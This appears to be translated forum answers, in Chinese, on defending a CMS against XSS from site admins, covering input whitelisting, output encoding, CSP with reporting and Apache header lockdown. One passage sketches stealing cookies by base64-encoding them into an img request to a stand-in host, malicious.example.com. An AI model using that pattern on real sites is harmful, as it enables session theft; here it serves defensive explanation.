要么在跨域 iframe 中运行它们，要么使用Google Caja 之类的东西来隔离它们。

您的问题显示了对 XSS 的错误理解。

了解漏洞利用的基本机制对您很重要。用户输入数据（来自 URL、cookie、post 数据等）可以进入程序并随后被用于攻击您的用户、您的服务器或您的业务。

您需要识别此输入数据出现的每个位置，并对其进行检查，例如字符白名单（例如正则表达式匹配）。这将防止任何类型的注入缺陷，包括 XSS。

此外，您还必须确保打印出的任何数据不是由您自己的开发人员（可能包括您的情况下的站点管理员）生成的，都针对其上下文进行了适当的编码。例如，将<替换为< 在 html 实体中，以及其他适用于属性、JavaScript、JSON 等的编码/转义。

最后一部分是允许 html 或 JavaScript 的子集作为用户输入（例如，如果您允许<B>但不允许<script>）。在这种情况下，您需要转换所有输入：

• 将<转换为< 等等。
• 然后将列入白名单的序列转换回来，例如<B> 返回到<B>等等。

在我的示例中，我显示了“列入白名单”的 html 标签，但您必须同样将 JavaScript 列入白名单。您必须更进一步，准确了解哪些 JavaScript 可以被允许，并通过解析器运行它以识别他可以在用户输入中允许的部分。

我希望你觉得这有帮助。我是一名拥有十年经验的应用程序安全专家。

由于站点管理员可以编辑模板，因此他们在站点上拥有非常高的权限。您必须假设他们可以编辑和添加任何内容，因为 CMS 提供的 HTML 标记限制是针对内容的，而模板可以包含任何内容。在这种情况下，如果站点管理员（Web 开发人员）无权访问服务器配置，您可以使用 HTTP 标头。

如果站点可以从不受信任的外部来源加载内容，则用户数据可能会泄漏。这不仅限于 JavaScript，而是任何内容。因此，限制允许的标签对您自己的 Web 开发人员毫无用处。仅使用 JavaScript 就可以提取所有 cookie，将它们编码为 base64 字符串，并让浏览器请求<img src="https://malicious.example.com/<base64string>.jpg">.

使用Content-Security-Policy标头可以防止泄漏，但是列出站点所需的所有外部源需要一些努力。您可以使用浏览器上的开发人员工具 (F12) 列出当前访问的资源作为起点。比阻止此类请求更重要的是报告它们 ( report-to)。如果某些开发人员真的想窃取您的用户数据，那么任何测量都会以某种方式被规避。如果您意识到此类活动，您可以谴责他们。（同样适用于 CMS 附加组件：您可以删除它们。）

X-XSS-Protection是对抗 XSS 的另一个响应标头，但它仅对非持久性即反射XSS有效，因为它仅从站点中删除反射的内容。它不适用于您自己的开发人员植入的持久性脚本，并且默认情况下已启用，但同样您可能希望添加报告。

为了使这些真正有效，您还必须防止 Web 开发人员修改标题。例如与Apache禁用PHP函数header()与php_admin_value[disable_functions]和使用AllowOverride，并AllowOverrideList以限制mod_headers中伪指令.htaccess。